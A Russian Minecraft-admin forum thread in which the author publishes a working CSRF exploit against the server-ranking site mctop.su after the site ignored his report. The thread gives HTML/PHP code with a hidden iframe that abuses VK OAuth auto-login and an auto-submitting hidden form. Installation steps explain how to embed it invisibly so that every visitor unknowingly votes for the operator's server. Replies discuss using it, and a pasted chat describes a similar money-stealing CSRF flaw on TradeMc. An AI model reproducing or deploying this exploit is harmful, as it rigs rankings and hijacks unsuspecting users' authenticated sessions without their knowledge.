Хостинг серверов Minecraft playvds.com
  1. Вы находитесь в русском сообществе Bukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на русский язык плагины наших собратьев из других стран.
    Скрыть объявление

Утилита CSRF на McTop, или при заходе на ваш сайт игрок автоматически голосует за вас

Тема в разделе "Руководства, инструкции, утилиты", создана пользователем unlimited, 7 окт 2015.

  1. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Баллы:
    123
    Имя в Minecraft:
    infinity
    Понаходил CSRF уязвимости на паре зарубежных и русских сайтов (mcdonate.ru / trademc.org / twitchalerts.com и др.), в том числе и на mctop.su
    Всем этим сайтам написал, большинство прикрыли дырки и дали денежное вознаграждение, но mctop мне за 2 недели даже не ответили, по этому пишу сюда :)

    Уязвимость позволяет вам установить на сайт вашего проекта небольшой скрипт, при заходе на ваш сайт, если человек хоть раз авторизовывался на mctop в прошлом (голосовал за какой-то другой сервер) - Его автоматически залогинит с вк на mctop и он автоматически проголосует за ваш сервер без своего ведома.

    Как установить:
    1) Создаем на сайте файл, например "mctop.php", с таким содержимым:
    HTML:
    <iframe scrolling="no" src="https://oauth.vk.com/authorize?client_id=4968544&redirect_uri=http://mctop.su/site/login_vk&response_type=code" width="0px" frameborder="0" height="0px"></iframe>
     
    <form method="POST" action="http://mctop.su/vote/<ИД_ВАШЕГО_СЕРВЕРА>">
      <input type="hidden" name="nickname" value="<?php echo rand(0,9999999);?>">
      <input type="submit" id="doit">
    </form>
    <script>
      setTimeout(function(){document.getElementById("doit").click()}, 2000);
    </script>
    Где <ИД_ВАШЕГО_СЕРВЕРА> - это id вашего сервера на mctop (например 1088)
    [​IMG]


    2) Добавляем например в конец главой страницы вашего сайта (в Footer) такой код:
    HTML:
    <iframe width="0" scrolling="no" height="0" frameborder="0" src="mctop.php" seamless="seamless"></iframe>

    3) Profit. Петя зашел на ваш сайт -> Если он сегодня еще не голосовал за ваш сервер -> Он только что за него проголосовал.
     
  2. Хостинг MineCraft
    <
  3. Plasticable

    Plasticable Старожил Девелопер Пользователь

    Баллы:
    173
    Skype:
    plasticable
    Имя в Minecraft:
    Plasticable
  4. Левый

    Левый Старожил Пользователь

    Баллы:
    173
    Skype:
    malhenko26
    Имя в Minecraft:
    Lefty
    Хм, а что если он зайдет на сайт ещё раз? Ещё один голос начислят?
     
  5. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Баллы:
    123
    Имя в Minecraft:
    infinity
    Раз в 24 часа, тоже самое если бы он самостоятельно голосовал
     
  6. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Баллы:
    123
    Имя в Minecraft:
    infinity
    Нет, если вк приложение mctop'а одобрено (Человек хотя-бы 1 раз авторизировался на mctop) - его залогинит автоматически.
     
  7. Juice987

    Juice987 Активный участник Пользователь

    Баллы:
    76
    с другими топами прокатит ?
     
  8. Xfester12

    Xfester12 Активный участник Пользователь

    Баллы:
    88
    Имя в Minecraft:
    Xfester
    СПАСИБ!
     
  9. zixxa

    zixxa Старожил Пользователь

    Баллы:
    103
    Ну вот, теперь куча школотронов поставят этот скрипт и накрутят себе голоса.
     
  10. MrTrojan

    MrTrojan Активный участник Пользователь

    Баллы:
    98
    Skype:
    mrtrojan.ru
    Имя в Minecraft:
    MrTrojan
    Ну сами же не захотели фиксить, мы что умолять их будем фиксить?
     
  11. Sergey_28rus

    Sergey_28rus Активный участник Пользователь

    Баллы:
    76
    То чувство, когда начал уже ставить, а вспомнил что нету тебя на mctop
     
  12. Левый

    Левый Старожил Пользователь

    Баллы:
    173
    Skype:
    malhenko26
    Имя в Minecraft:
    Lefty
    А если он ни разу не голосовал на mctop?[DOUBLEPOST=1444382056,1444381965][/DOUBLEPOST]
    А если он голосовал сегодня, го за другой проект? Мне голос начислится или нет?!
     
  13. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Баллы:
    123
    Имя в Minecraft:
    infinity
    Если ниразу не входил на mctop, то не проголосует.
    Если уже голосовал сегодня за другой проект - голос за твой проект начислится.[DOUBLEPOST=1444387990][/DOUBLEPOST]
    И разговор с вами у меня сложился примерно вот такой:
    [​IMG]Дмитрий
    Привет, я нашел очень серьезную уязвимость на TradeMc, если админ сервера кликнет по моей ссылке я могу поменять любую настройку в его личном кабинете, вывести на свой кошелек деньги с доната, добавить любые команды в магазин сервера, даже удалить проект.
    Можете предоставить награду за нахождение уязвимости? Я предоставлю все данные о ней, даже помогу пофиксить.

    [​IMG]Сашка
    Что вы имеете ввиду?

    [​IMG]Дмитрий
    Если админ сервера перейдет по моей ссылке когда он авторизован на TradeMc, я могу без его ведома провести любое действие с его аккаунтом
    Я могу замаскировать такую ссылку под какую нибудь картинку / пост в блоге / какой нибудь эмейл

    [​IMG]Сашка
    Каким образом?

    [​IMG]Дмитрий
    Если пользователь авторизован на TradeMc и у него есть 100р. на аккаунте, просто перейдя по этой ссылке (пример)starcrack.hol.es/babon/trademc.html он отправит деньги на любой указанный мною адрес
    Можно сделать так что он даже не увидит этой переадресации на ваш сайт

    [​IMG]Сашка
    ну понятно

    [​IMG]Дмитрий
    Это действительно одна из самых опасных уязвимостей в вебе
    И у вас от нее 0 защиты

    [​IMG]Сашка
    Хорошо. Спасибо за информацию

    [​IMG]Дмитрий
    »Можете предоставить награду за нахождение уязвимости? Я предоставлю все данные о ней, даже помогу пофиксить.

    [​IMG]Сашка
    Какую награду?

    [​IMG]Дмитрий
    Денежную. И я расскажу все подробности, что за уязвимость, как исправить.

    [​IMG]Сашка
    мы не даем никаких наград
     
  14. Xfester12

    Xfester12 Активный участник Пользователь

    Баллы:
    88
    Имя в Minecraft:
    Xfester
    По разговору с этим "меденжером" видно, что он либо даун, либо недопонимает о чем говорит. Хотя, да действительно, процент то они получили, а на бабло других им пофиг.
     

Поделиться этой страницей